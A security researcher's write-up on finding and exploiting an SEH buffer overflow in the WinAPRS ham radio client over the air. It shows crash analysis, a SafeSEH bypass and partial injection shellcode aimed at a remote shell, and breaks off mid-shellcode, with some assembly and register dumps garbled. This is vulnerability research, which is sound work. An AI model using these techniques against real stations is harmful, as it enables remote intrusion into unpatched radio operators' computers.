Hacking ham radio: WinAPRS
Compilation of multi-blog series and complete research notes

RICK OSGOOD, PRINCIPAL SECURITY CONSULTANT, LABS
# Table of contents

Introduction ............................................................................................................................................................................... 2  
Ham radio background ............................................................................................................................................................. 2  
  What is ham radio? ................................................................................................................................................................................... 2  
  Packet radio (AX.25) ................................................................................................................................................................................. 2  
  Automatic Packet Reporting System (APRS) ............................................................................................................................................. 3  
Hardware for packet radio ......................................................................................................................................................................... 5  
  Keep It Simple, Stupid! (KISS)............................................................................................................................................................................. 5  
Reverse engineering ............................................................................................................................................................................. 6  
  Choosing an APRS program ............................................................................................................................................................................. 6  
  Configuring WinAPRS .................................................................................................................................................................................. 7  
  Lab setup ........................................................................................................................................................................................................... 9  
  Reversing the binary ................................................................................................................................................................................. 9  
Shellcode ......................................................................................................................................................................................... 23  
  Stage one shellcode .................................................................................................................................................................................. 23  
  Stage two shellcode .................................................................................................................................................................................. 29  
  Stage three shellcode ............................................................................................................................................................................. 32  
Exploit ......................................................................................................................................................................................... 41  
  Windows XP SP3 exploit ............................................................................................................................................................ 41  
  Windows XP video demo ................................................................................................................................................................. 43  
  Windows 10 exploit .................................................................................................................................................................................. 44  
  Windows 10 video demo ................................................................................................................................................................. 46  
Disclosure ................................................................................................................................................................................... 47
**Introduction**

I recently passed the Offensive Security Exploit Developer (OSED) exam, and it got me really interested in binary exploitation. After passing the exam, I wanted to take what I learned and apply it to real-world programs for practice, and because it's fun!

First, I needed to choose a target. I decided this was the perfect opportunity to do some research into ham radio software security. I've been messing around with packet radio and various digital modes on and off for years, and I've wondered if any vulnerabilities exist that could allow an attacker to obtain remote code execution through the airwaves rather than over the Internet. I just always thought it was a fun idea to be able to hack a computer that isn't even hooked up to the Internet. Many ham programs are written by enthusiasts and are quite old, so it seemed likely that there would be exploitable vulnerabilities. In my research I decided to focus mainly on vulnerabilities that could lead to remote code or command execution, though if I found other vulnerabilities, I didn't ignore them. I also decided to start by focusing on Windows software, since the OSED exam focused on Windows user-mode exploitation and it's where I have the most experience. I started this project with a specific goal in mind: get a remote shell over ham radio.

**Ham radio background**

**What is ham radio?**

According to Wikipedia, ham radio (or amateur radio) is the use of radio frequency spectrum for purposes of non-commercial exchange of messages, wireless experimentation, self-training, private recreation, radiosport, contesting, and emergency communication. In the United States, you pay a small fee to take an exam. If you pass the exam, you obtain a license from the FCC which allows you to operate on certain frequencies. Amateur radio in the USA currently has three different license levels. Each level permits you to operate on more frequencies than the last, but each exam is also more difficult and technical than the last.

The idea of "ham radio" often invokes an image of old guys turning knobs and talking to each other about their radio configurations. In my experience, this can be an accurate depiction of the hobby if you don't do much more than scan and talk on the voice frequencies. Nowadays, radios are getting much more complicated than just a few knobs. They have built in computers and can do digital communications right in the radio. You can also hook them up to computers to send images, text messages, and emails. You can use them to track weather balloons. The uses are almost limitless within the restrictions imposed by your local government (the FCC in the USA). Half the fun is experimenting with the different modes or even building new modes for others to try.

Ham radio is a hobby for many people. You can use it to talk to people in your area, or to talk to people all over the world. It's kind of magical to contact someone across the planet without being hooked up to the Internet, or a phone line. Ham radio is also used for emergency communications in times of crisis and natural disasters. If the phone lines are all down and cell phones aren't working, how can emergency response be coordinated? Amateurs come together to aid in the response using ham radio.

**Packet radio (AX.25)**

As a hacker, I am most interested in the various digital modes that ham radio has to offer. There are many different digital modes. I only have experience with a small fraction of them, so I'm no expert in this area. For my research, I decided to focus on software that uses the AX.25 protocol.

"Packet radio" generally refers to a very specific digital mode of operation that uses the AX.25 protocol. AX.25 is a data-link layer protocol (layer 2 of the OSI model). In this mode, data is split into packets and transmitted over the air. AX.25 has support for different packet types and includes modes that are similar to TCP and UDP on Ethernet. In some cases, the protocol can do some error correcting, like TCP. Another mode will just send packets out into the air without waiting...
for any kind of acknowledgement, like UDP. Windows does not have any built-in way to handle AX.25 traffic, so end-user software would have to do this on its own or it must be abstracted away. The Linux kernel has built-in support for AX.25, so you can potentially setup AX.25 network interfaces that have callsigns for addresses instead of IP addresses. AX.25 is commonly used today for Automatic Packet Reporting System (APRS), Winlink email over ham radio, Bulletin Board Systems (BBS) operations, and more. It seems it is more generally used for a ham to make a contact with a computer, as opposed to making live contacts with other hams. More information about the AX.25 protocol can be found here: [http://www.ax25.net/AX25.2.2-Jul%2098-2.pdf](http://www.ax25.net/AX25.2.2-Jul%2098-2.pdf)

**Automatic Packet Reporting System (APRS)**

Probably the most common use of AX.25 is with the Automatic Packet Reporting System (APRS). Therefore, I decided to focus first on APRS software for this research project. APRS allows hams to transmit telemetry data such as GPS coordinates, weather data, small generic messages, and more. An APRS station can send out a broadcast message, or it can send a message addressed to another specific station. Since the range on the 2m band isn't that great, APRS stations can "digipeat" the packets out again. This means that if one station receives a packet, it will retransmit it to send it further away. There are also "IGate" systems which are bridged to the Internet via the APRS Internet Service (APRS-IS) backbone ([http://www.aprs-is.net](http://www.aprs-is.net)). This adds extra usability to the APRS system and means you can transmit data globally using the Internet if desired. In fact, you can view APRS traffic anywhere in the world at [https://aprs.fi](https://aprs.fi) and you don't even need a license to check it out.

How do APRS stations find each other? How does one station find an IGate to bridge to the Internet? You can transmit APRS on basically any amateur frequency for which you are licensed, but around the globe each region generally has an allotted frequency where this traffic is used. In the USA, that frequency is 144.390 MHz. Just about anywhere in the USA you can tune a radio to this frequency, and you'll hear data being transmitted at least every minute or so.
APRS is a protocol that runs on top of AX.25, like how HTTP runs on top of TCP. APRS packets make use of the AX.25 unnumbered information (UI) frames. Since I was going to be reverse engineering APRS software, it made sense to examine APRS data frames to understand their structure. AX.25 UI frames look like this:

```
+--------+---------+--------+---------+--------+-----------+---------------+
| Bytes: | Flag    | Address | Source   | Address | Control   | INFORMATION  |
|        |         |         |          |         | Field     | FIELD        |
|        |         |         |          |         | (UI)      | 1-255        |
|        | 1       | 7       | 7        | 0-56    | 1         | 2            |
```

Image from http://www.aprs.org/doc/APRS101.PDF

In an AX.25 UI frame, all addresses will be ham radio callsigns with an optional SSID appended to them. If your callsign was K7HAX, your address could be something like K7HAX-14. The digipeater addresses field can contain up to eight digipeater addresses to specify the path the packet should take. A digipeater is a radio station that listens for packets and then retransmits those packets to extend the range. The information field contains user-specified data. APRS makes heavy use of this field and it's likely to be the most interesting field to play with.

The APRS specification allows for various data types, formats and encodings. Most of this information is stored in the information field of the AX.25 packet. A generic APRS information field structure looks like this:

```
+--------+---------+---------+------------+
| Bytes: | Data Type ID | APRS Data | APRS Data |
|        |              | Extension | Comment    |
| 1      | n            | 7         | n          |
```

Image from http://www.aprs.org/doc/APRS101.PDF

The data type specifies what kind of APRS data follows. Options include GPS position, direction finding, weather information, messages, and more. Here's a real APRS message I pulled from https://aprs.fi:

```
:Are you working tonight?
```

The colon denotes that the APRS data contains a message. The rest of the data is just the plaintext message. In this case the APRS data extension and comment fields are unused. Here's another example:

```
=3319.44S/06012.46W# 144.930MHz. SNDigi
```

The equal sign denotes that the data contains position data without a timestamp. Immediately following that is the actual position data. Between the two coordinates is a forward slash and immediately following the data is a hash symbol. Combined, these symbols would make "#/". This data tells the receiving station what type of station sent the message and what symbol, or icon, to use to display the station on a map. APRS has two tables full of different symbols (car, truck, bicycle, balloon, etc). The forward slash specifies which table to use. The hash tells which symbol to use in that table. After the hash symbol is some additional message data which appears to list the transmitting frequency and probably the software or device used to transmit (SNDigi). There's so much more to APRS than just this but it gives a rough idea of how the packets look and what we can expect APRS software to be doing when decoding messages. More information about the APRS protocol can be found here: http://www.aprs.org/doc/APRS101.PDF

Since APRS is probably the most common packet protocol in use today, and there is no shortage of APRS software to choose from, I decided to start my research here. I focused on Windows-based APRS software that was written in C or C++ so I could continue honing my IDA and WinDbg reversing skills.
Hardware for packet radio

There are a huge number of combinations of hardware to get on the air with packet, but in general you’ll need three main components: A transceiver, a terminal node controller (TNC), and a computer. You use the computer to interact with the various packet radio software you want to use. The transceiver sends and receives the communications over the radio. The TNC is basically a packet radio modem that sits between the two, converting the data into sound. It works similarly to a dial-up modem, but for radio instead of telephone lines. A TNC is typically a little box that’s hooked up to the computer and the radio. A TNC will often have a built-in microcomputer with its own operating system so you can open a terminal and send and receive messages right from the TNC. My TNC has a built-in mailbox where other hams can leave messages. It can decode APRS messages with its own software and display them in a human-readable format via serial console. Here’s a photo of the hardware I’m using for my receiving station:

Keep It Simple, Stupid! (KISS)

Each TNC make and model has its own set of commands you must use to send packets, and they may display packets differently to the user. The computer software must therefore understand how to interface with each make and model, which is cumbersome. To remedy this, most TNCs support a mode called KISS (Keep It Simple, Stupid). This mode disables all the “smart” features of the TNC and turns it into a dumb modem. The TNC will simply demodulate the signals from the radio and transmit the raw data back to your PC and visa-versa. To simplify things, I’ll be placing my TNC into KISS mode for testing and using it wherever possible.

The important bit to know about the KISS protocol, is that the TNC will add a 0xC0 control character to the beginning and end of each packet, and it will expect those characters to be there for any outgoing transmissions. There are also a few other special control characters the TNC will watch for, which is important to be aware of when writing shellcode later. These characters would be considered “bad characters” when writing shellcode and must be avoided. A full description of the KISS protocol can be found here: http://www.ax25.net/kiss.aspx
Reverse engineering

Choosing an APRS program

The aprs-is.net website has a list of some known APRS client software.

<table>
<thead>
<tr>
<th>Software Name (and link)</th>
<th>OS(es)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>APRSd0s</td>
<td>MS-DOS</td>
<td>The original APRS application. Specialized versions are also available. While not directly APRS-IS capable, it sets the standard for APRS packets.</td>
</tr>
<tr>
<td>APRSDroid</td>
<td>Android</td>
<td>GUI app for Android</td>
</tr>
<tr>
<td>AFilter</td>
<td>Windows (32 bit)</td>
<td>Data stream filter application.</td>
</tr>
<tr>
<td>AGWTracker</td>
<td>Windows (32 bit)</td>
<td>GUI with multiple map types.</td>
</tr>
<tr>
<td>AGWTrackerPPC</td>
<td>Windows Mobile</td>
<td>GUI for Windows Mobile.</td>
</tr>
<tr>
<td>ALogger</td>
<td>Windows (32 bit)</td>
<td>APRS-IS logging application.</td>
</tr>
<tr>
<td>APRISICE/32</td>
<td>Windows Mobile, CE, Windows 32 and 64 bit</td>
<td>GUI client for Windows Mobile and Windows 32 &amp; 64 bit OSes</td>
</tr>
<tr>
<td>APRS/CE</td>
<td>Windows CE</td>
<td>GUI client for Windows CE</td>
</tr>
<tr>
<td>APRSPoint</td>
<td>Windows (32 bit)</td>
<td>GUI client. Uses MapPoint for maps.</td>
</tr>
<tr>
<td>Apxx</td>
<td>UNIXes, Linux, BSD, SunOS</td>
<td>APRS IGate and digimeter supports Linux AX.25 and serial interfaces.</td>
</tr>
<tr>
<td>APRS+IA</td>
<td>Windows (32 bit)</td>
<td>GUI client and IGate. Uses Street Atlas for maps.</td>
</tr>
<tr>
<td>j4APRS</td>
<td>Java Applet</td>
<td>GUI applet for web pages.</td>
</tr>
<tr>
<td>javaAPRS/SvrIGate</td>
<td>Java</td>
<td>Java/local server for Android</td>
</tr>
<tr>
<td>saAPRS</td>
<td>Java MIDlet</td>
<td>MIDlet for Mobile Devices.</td>
</tr>
<tr>
<td>MacAPRS</td>
<td>MacOS</td>
<td>GUI client and IGate.</td>
</tr>
<tr>
<td>PanPoint APRS</td>
<td>Windows</td>
<td>GUI client/IGate</td>
</tr>
<tr>
<td>pocketAPRS</td>
<td>PalmOS</td>
<td>GUI client for Palm OS. NO LONGER AVAILABLE OR SUPPORTED (Please do not contact me regarding this software. I am not the author of this software)</td>
</tr>
<tr>
<td>SARTrack</td>
<td>Windows (32 bit)</td>
<td>GUI designed for Search and Rescue. Tactical call signs, multi-colour tracks, Search Areas, Messaging, SAR Logging</td>
</tr>
<tr>
<td>SmartPalm</td>
<td>PalmOS</td>
<td>Text client.</td>
</tr>
<tr>
<td>UI-View</td>
<td>Windows (16 &amp; 32 bit)</td>
<td>GUI client and IGate.</td>
</tr>
<tr>
<td>WinAPRS</td>
<td>Windows (16 &amp; 32 bit)</td>
<td>GUI client and IGate.</td>
</tr>
<tr>
<td>X-APRS</td>
<td>Linux</td>
<td>X-Windows GUI client and IGate</td>
</tr>
<tr>
<td>XASTIR</td>
<td>X-Windows OSes (Linux/Unix/MacOSX)</td>
<td>GUI client and IGate.</td>
</tr>
<tr>
<td>YAAC</td>
<td>Windows (32 &amp; 64 bit) Mac OS X, Linux, FreeBSD</td>
<td>GUI client and IGate.</td>
</tr>
</tbody>
</table>

Looking over the list, I figured an older client would be the most likely to contain exploitable vulnerabilities. Looking at the various options, I found that the WinAPRS download page said it hadn't been updated since January 14, 2013. I figured that was a good sign that the software was maybe not maintained regularly and would therefore contain vulnerabilities. I downloaded the latest version (2.9.0) and got started.
Configuring WinAPRS

I found that I had to make a few configuration changes to get the software working normally. First was my callsign.

![WinAPRS Station Settings](image)

Then the serial COM port. In my test VM with my KISS TNC this was COM3 at 9600 baud.

![Serial Port Settings](image)
Then enable KISS mode.

Once it was set up and working, I was receiving APRS packets and plotting station locations on the basic included map.
Lab setup
Receiving station

- Radio: Icom IC-207
- TNC: Kantronics KPC 9612+ in KISS mode
- Operating System: Windows XP SP3 and Windows 10
- Software: WinAPRS v2.9.0

Reversing the binary

Next, I disassembled the executable in IDA Pro and attached WinDbg to the running process. The first thing I did was to load the narly WinDbg extension and check to see if WinAPRS had any protections in place. It had no protections at all. I also found that it loaded no external DLLs.

The next thing I needed to do was figure out where the data was entering into WinAPRS from the TNC. Normally, I’d find some Win32 API calls to RECV (TCP) or RECVFROM (UDP) and check there, but in this case the data was coming in from a serial port. The target system could theoretically not even be connected to Ethernet. I did some research on Win32 APIs related to serial communications and found that COM ports in Windows are basically treated as files (https://www.xanthium.in/Serial-Port-Programming-using-Win32-API). You first open a handle to the port and then make a call to ReadFile. I used IDA to search for calls to ReadFile and found this one:

I set a breakpoint on this call and waited for an APRS packet to come in through the radio. The breakpoint triggered, which was the first clue I was on the right track. I checked the parameters on the stack to find the address of lpBuffer.
I stepped over the ReadFile call and checked the contents of the buffer to find it was loaded with packet data.

This indicated that I found the correct call to ReadFile and could now trace through the code to hopefully find vulnerable code paths. My first thought was to see if the lpBuffer was susceptible to an overflow. To answer this question, I needed to know how big lpBuffer was, and where the nNumberOfBytesToRead parameter came from. If I could craft a packet that set nNumberOfBytesToRead to a value that was larger than the lpBuffer size, then I might be able to overflow the buffer and gain control of EIP. I started with the lpBuffer size.

I inspected the buffer before the call to ReadFile and found it had been filled with 0xCC characters.

I kept moving down the stack until I found the end of the 0xCC characters.

Some quick math showed that the buffer was 2052 bytes large.
The value for the nNumberOfBytesToRead parameter seemed to come from a variable called Stat.cbInQue.

```
.text:0049BAE7    mov    edx, [ebp+Stat.cbInQue]
.text:0049BAEA    mov    eax, [ebp+lpNumberOfBytesRead]
.text:0049BAED    mov    [eax], edx    ; Sets number of bytes to read
```

According to Microsoft documentation [https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-comstat](https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-comstat), cbInQue represents the number of bytes received by the serial provider but not yet read by a ReadFile operation. This seemed like good news because it meant that value for the nNumberOfBytesToRead parameter would be set by how much data was sent by the TNC. The assembly code didn’t seem to have any checks in place to ensure the data wasn’t greater than 2052 bytes long, which meant it was likely vulnerable to a basic overflow. I would just have to send a packet that was greater than 2052 bytes. But how to do that?

The one TNC I had was being used for the receiving station. I needed a way to transmit a packet from a second station that met the specific conditions to trigger the overflow. I did have a Kenwood TH-G71 handheld transceiver with audio jacks for an external speaker and microphone. I studied the radios pinouts in the manual and found that if I hooked up the radio’s external mic and speaker ports to a computer, it would automatically key up the radio and start transmitting whatever audio the computer was outputting. It wasn’t an ideal solution but would work if I could find a way to build custom AX.25 packets and convert them to an audio file I could play on command.

I investigated the open-source software Direwolf, which is normally used as a soundcard-based radio modem interface. I found that it came with a utility called “gen_packets” that allows you to generate an audio file representing a customized AX.25 packet. This was exactly what I needed, but it had a built-in packet size limitation. I studied the source code and found a way to modify it to allow me to make much larger packets. First, I modified ax25_pad.c:

```
/*
 * Tearing it apart is destructive so make our own copy first.
 */

//char stuff[512];
char stuff[3000];
char *pinfo;
```

Then I made a change to gen_packets.c.
After compiling Direwolf, I was able to generate custom packets up to 3000 bytes in size.

I started by generating a packet greater than 2052 bytes, but interestingly after transmitting it over the air, nothing seemed to happen. I couldn't get the ReadFile breakpoint to even trigger. I tried a bunch of packets of varying sizes, and I found that smaller packets seemed to trigger the breakpoint fine, but anything over 1024 bytes long didn't. I connected to my TNC with putty and found that any packets over 1024 bytes were simply not being sent to the PC over the serial port. The KPC 9612+ was limiting the packet size to 1024 bytes. From my research, it does not seem that AX.25 or the KISS protocols have this size limitation. I suspect that the TNC itself has some memory limitation or just a hard-coded size limit for whatever reason. This meant that I wasn't going to be able to overflow the buffer using this hardware.

However, all was not lost. I found that when I generated a packet with 1000 A's, I got an access violation. And after attempting to continue execution, I had somehow gained control of EIP.

The access violation occurred in this function:

```plaintext
0:000 > g
(1b5c.1494): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
```

```plaintext
eax=00bbe941 ebx=004cb3b0 ecx=00bbe924 edx=0000003f6 esi=00bbf91 edi=00bc0000
```

```plaintext
eip=00559911 esp=00bdc0c4 ebp=00bc0ef0 iopl=0
```

```plaintext	nv up ei pl nz na pe nc
```

```plaintext
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
```

```plaintext
efl=00210206
```

```plaintext
WinAPRS+0x159911:
```

```plaintext
00559911 ca stcs byte ptr cs:[edi] cs:002b:00bc0000-??
```

```plaintext
0:000 > g
(1b5c.1494): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
```

```plaintext
eax=00000000 ebx=00000000 ecx=41414141 edx=77ff5050 esi=00000000 edi=00000000
eip=41414141 esp=00b810 ebp=00b830 iopl=0
```

```plaintext	nv up ei pl nz na pe nc
```

```plaintext
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
```

```plaintext
efl=00210246
```

```plaintext
41414141 ??
```

The access violation occurred in this function:
I checked the call stack after the crash and found that it was corrupted.

```
0:000> g
(160c.2d68): Access violation - code 00000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00b9941 ebx=004c3b0 ecx=00b9e24 edx=000003f6 esi=00b9c91 edi=00bc0000
eip=0059911 esp=00b9d3c4 ebp=00b9e00 iopl=0 nv up ei pl nz na pe nc
cf=0023 af=002b df=002b sf=0053 zf=002b cf=0010
efl=0010206
WinAPRS+0x159911:
0059911 aa  stos byte ptr es:[edi]                      es:002b:00b90000=20
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00b9ec00 004a37a6 WinAPRS+0x159911
01 00b9f3c3 41414414 WinAPRS+0x159911
02 00b9f3cc 41414414 0x41414414
03 00b9f3d3 41414414 0x41414414
04 00b9f3d4 41414414 0x41414414
05 00b9f3d9 41414414 0x41414414
06 00b9f3da 41414414 0x41414414
```
I also checked the Structured Exception Handler (SEH) chain and found that it too had been corrupted.

```
0:000> !exchain
0:000> dec: 41414141
Invalid exception stack at 41414141
```

My 1000-byte packet had somehow managed to overwrite the SEH chain. Then an exception was triggered, and the CPU jumped to the address of the SEH handler, which had been overwritten by 0x41414141. Since I controlled the 0x41414141 payload, this indicated that I should be able to point the CPU to any memory address I wanted and gain code execution. Things were looking up.

To figure out what was happening, I set a breakpoint just before the `lodsb` loop at 0x0055990C. I then sent the 1000-byte packet. Tracing through the code, I found that ESI and EDI eventually were set as such:

```
0:000> g
Breakpoint 0 hit
eax=00bbe924 ebx=00000002 ecx=00bbe924 edx=000003f6 esi=00bbe5b4 edi=00bbe924
```

The loop would copy one byte from ESI (source) over to the address pointed to by EDI (destination). It would loop until it found a NULL byte. This makes sense since C strings are generally null terminated. I checked the data in ESI and found that it contained my packet contents.

```
0:000> db esi
00bbe924 4b 45 37 53 41 4c 3e 57-4f 52 4c 44 2c 3a 41 41
00bbe5c4 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe5d4 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe5e4 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe5f4 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe604 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe614 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe624 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
```

I then checked EDI and found that it also contained a portion of the packet.

```
0:000> db edi
00bbe924 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe934 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe944 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe954 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe964 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe974 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe984 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00bbe994 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
```

That's when I noticed that the memory address of EDI was close to ESI, but higher up. I did some quick math and found that it was 880 bytes higher.

```
0:000> ? 00bbe924 - 00bbe5b4
Evaluate expression: 880 = 00000370
```
I went back and checked the original access violation and found that it was triggered when the stosb operation tried to write to an unallocated memory address.

![Image](image1)

It seemed that my packet was larger than the application was expecting. It copied 1000 bytes into a source buffer that apparently could only hold 880 bytes. As a result, it overflowed into the destination buffer. This meant that the source buffer did not contain a NULL byte to terminate the string, because the NULL byte was placed in the destination buffer. The loop then copied 880 bytes of my payload into the destination, which overwrote the final 120 bytes of the original payload, including the NULL byte. Since it didn’t find a NULL terminator, it just continued copying. The original destination buffer now became the source buffer, and the bytes were then copied to memory just after the original destination buffer.

Effectively, it just continued overwriting memory with the first 880 bytes of my payload infinitely until it overwrote the SEH handler and finally attempted to write to unallocated memory space and triggered the exception. This was good news for me. I now had a way to trigger an exception, and at the same time I could overwrite the SEH handler, which would allow me to point the CPU to some other location in memory and potentially gain code execution. My next step was to figure out the exact offset in my payload that would overwrite the address of the SEH handler.

I used msf-pattern_create to generate a 1000-character long string with no repeating characters.

![Image](image2)

I then generated a packet with that data.

![Image](image3)

I transmitted the packet, causing a crash in WinAPRS. I then checked the value of EIP.
I then used msf-pattern_offset to find the exact offset to overwrite EIP.

I built a new packet to see if I could overwrite EIP with BBBB (0x42424242).

I transmitted the packet and found that EIP was overwritten with 0x42424242 (BBBB) as expected.
This meant that I could control EIP and send execution to any address I wanted. The typical way you would exploit this kind of vulnerability is to locate a memory address containing the instruction sequence: POP r32, POP r32, RET. This POPs two DWORDs off the stack, leaving the address of the next SEH handler on top. The RET instruction then tells the CPU to return to that address and start executing the code there. Since I have control over that address, I can include a few instructions to JMP to my shellcode on the stack and ideally do something fun like gain shell command execution. For a much more detailed explanation of SEH-based exploits, refer to this excellent article rom corelan: https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

It turned out I couldn’t send execution to just any address. There were two limitations. The address could not contain a NULL byte (0x00). If I included any null bytes in my payload, the copy loop would see it as the end of the source buffer string and stop copying. This would prevent the infinite loop, the SEH overwrite, and the access violation. Game over. In order to gain control of EIP, I need the loop to continue copying indefinitely. Therefore, any address I used must not contain a null byte. Also, my payload could not contain the bytes 0xC0 and 0xDB. These are KISS protocol control characters that have special meaning in a KISS packet. If my payload included either character, WinAPRS would interpret that as the end of my packet and cut the payload short, causing the same problems noted above.

Looking back at the output from narly, the entire memory space of WinAPRS contains a null byte.

The stack space also contained a null byte, so there was really no place to transfer execution to. All other loaded modules were operating system modules and included Address Space Layout Randomization (ASLR). ASLR means that the addresses for each module will change every time Windows is rebooted. There is therefore no way to hardcode an address to jump to in any of those modules. I would need a way to leak a memory address back to me as the attacker somehow over ham radio in order to calculate the address to a FPR instruction.

Microsoft first implemented ASLR in Windows Vista, although they have improved it since then. Just for fun, I decided to fall back on good old Windows XP SP3. Targeting Windows XP would allow me to locate a reliable memory address for a POP, POP, RET instruction, which would permit code execution. Once I had that, I could work on a custom shellcode payload to provide a reverse shell via ham radio, which was what I really wanted to accomplish with this project. From there, I could explore other options with Windows 10 to see if I could get anywhere (Spoiler: I did).

I setup a Windows XP SP3 virtual machine and copied over WinAPRS and the installers for all my tools. Using WinDbg and Narly, I checked the protections on all loaded modules.
Excellent. None of them had ASLR enabled. Though most of them had SafeSEH turned on. SafeSEH is a different protection mechanism that attempts to prevent this exact kind of SEH-based buffer overflow exploit. Modules compiled with SafeSEH enabled have a table which includes a list of all valid exception handlers for the module. When an exception is triggered, Windows will check to see if the handler address falls within a memory range related to a loaded module. If so, it will check to see if the handler is valid for that module by checking the table. If it’s not valid, it won’t execute the handler. If the handler’s address is outside of the address range of a loaded module, then the handler is not checked and SafeSEH is effectively bypassed.

Corelan’s mona.py plugin for Immunity debugger has a built-in function called “jseh” that will search for SEH gadgets in memory that exists outside of any loaded modules. I fired up immunity debugger and used mona to search for such a gadget.
It found 42 gadgets, but unfortunately, they all required a JMP to either EAX or EBX. In this case, those registers did not contain an address to my shellcode, so none of these were going to work. I looked at the Mona source code to figure out what exactly it was looking for, thinking maybe there were some other gadgets that would work that weren't included in the search. I found that, interestingly, Mona was not searching for POP, POP, RET at all. It was looking for other gadgets instead. I added 16 variations of POP, POP, RET to the list.
Then I ran the script again.
Bingo. I had a few candidates at the bottom of the list. I chose the last one and modified my payload to use it as the SEH handler address.

I executed the payload and found that the SEH handler now pointed to a POP, POP, RET instruction (red outlines below). I set a breakpoint on the Next SEH handler address and when I continued code execution, the breakpoint was triggered (green outlines below). This indicated that I successfully pointed EIP back to my payload.

At this point, EIP was pointing at the NSEH handler address. This gave me only four bytes of CPU instructions to work with, because just after NSEH is the SEH address, which points to the POP, POP, RET instructions. I had to fill NSEH with instructions that would point EIP at the beginning of my payload. I checked the memory around EIP and found that the start of my payload was just 101 bytes ahead of NSEH. My payload included 783 A's, which meant I could get 783 bytes worth of shellcode if I could find a way to point EIP to that spot.
At this point during the project, I got my hands on a Raspberry Pi with a TNC-Pi hat (https://www.tnc-x.com/TNCPi.htm). I made a custom cable to hook it up to my Kenwood handheld transceiver and was up and running quickly. Now, instead of using the Direwolf audio generation tool, I could send raw packet data to the Pi’s serial port. This would make it easier to develop a working exploit. I found a python script that allowed me to build custom AX.25 packets:


I made a simple test packet to validate that it worked.

The exception handler address was overwritten with 0x42424242 (BBBB), which is what was expected. It worked. This script would become the basis of my exploit code. I knew it wouldn’t be as simple as dropping a mefvenom-generated shellcode payload into the exploit, because Metasploit doesn’t come with a KISS TNC reverse shell payload. Why would it? I was going to have to write a custom payload. This turned out to be much trickier than I expected.

The main problem was that the initial buffer overflow overwrote lots of stack memory. This resulted in important pointers being overwritten with garbage. It turned out that I couldn’t call many Win32 APIs such as CreateProcessA, ShellExecuteA, and many others. Making calls to these APIs resulted in heap errors that caused the shellcode to crash and fail. I couldn’t find a single usable Win32 API that could execute shell commands. Building a working payload was a long process of trying different Win32 APIs to see which ones worked and then figuring out a combination that would result in the desired outcome: a reverse shell via KISS TNC. It also had to fit in the 783 bytes I had available in my exploit packet.
Shellcode

What finally ended up working was a three-stage payload delivered in two KISS packets. The first packet contained stages one and two. Stage one's primary job was to inject stage 2 into a different process. That way stage 2 could call the Win32 APIs that failed in the WinAPRS process after the overflow. The outside process would have clean memory space and would be able to call the APIs that the corrupted WinAPRS memory could not.

Stage one shellcode

The first part of the stage one shellcode adjusts the stack pointers to make room for variables needed later in the shellcode. It then writes some data to a structure in memory that gets corrupted by the overflow. It essentially fixes the structure with known-good values determined by reading the memory address myself while WinAPRS is running normally. If this structure is not fixed, then later calls to a few Win32 APIs will fail and the shellcode will not function.

```
# Adjust stack pointers
#
mov ebp, esp ;
add esp, 8hff009 ;
# Avoiding null bytes (sub esp, 8h80) - make room to store args/vars

# Fix pointers on stack that were overwritten (allows us to run Process32* functions)
#
"fix data:"
# Some structure data is overwritten by overflow. Can't call Process32* functions without this
mov eax, esp ;
mov ebx, [0x7c8856d0] ;
# save esp for later
add edx, 0x28 ;
mov esp, ebx ;
xor eax, ecx ;
push ecx ;
push 0x7ffffff22 ;
push ecx ;
push 0x7ffffff2e ;
push ecx ;
mov edx, 0x7f8e1d ;
sub ds, 0x101 ;
push edx j;
sub ds, 0x10a ;
push edx j;
push eax j;
push esp, eax j;
```

Lines 38 - 108 are functions that are used to locate Win32 API pointers in memory for use later in the shellcode. This is something I learned from taking Offensive Security's new OSED course, which I highly recommend if you are new to this sort of thing and want to learn more about it. I won't review all the code here, but just know that you can hardcode a hash value that represents a Win32 API method, and these functions will find the address of the method so your shellcode can utilize it later.

The next section of shellcode calls the lookup function nine times to resolve the addresses of nine different Win32 API methods such as OpenProcess and VirtualAllocEx. These are all used later in the shellcode to inject stage 2 into a separate clean process.
The next code block calls the Win32 CloseHandle function to close the file handle on the COM port. This frees it up for use in stage two later. On Windows XP, WinAPRS seems to always have a handle to the COM port available at a specific memory address which does not get overwritten by the overflow. This means the shellcode can pull the handle from that spot each time to close the COM port.
RESEARCH

The stage two shellcode needs to be injected into a separate clean process. One process that should always exist is explorer.exe. Therefore, stage one needs a way to identify the process ID of explorer.exe. The next code block does just that by using three Win32 APIs.

First, it calls `CreateToolhelp32Snapshot` to take a snapshot of all running processes. Then, it calls `Process32First` to read the first entry in the resulting list. This entry won't be explorer.exe, so it is ignored. Next, the shellcode calls `Process32Next` repeatedly until it finds a process with the name "explorer.exe". Once that is found, it reads the PID from the return value and saves it for later.

```assembly
# Get explorer.exe PID

; Get process ID of explorer.exe
lea ebx, [bp+0x46b] ;
; xor ecx, ecx ;
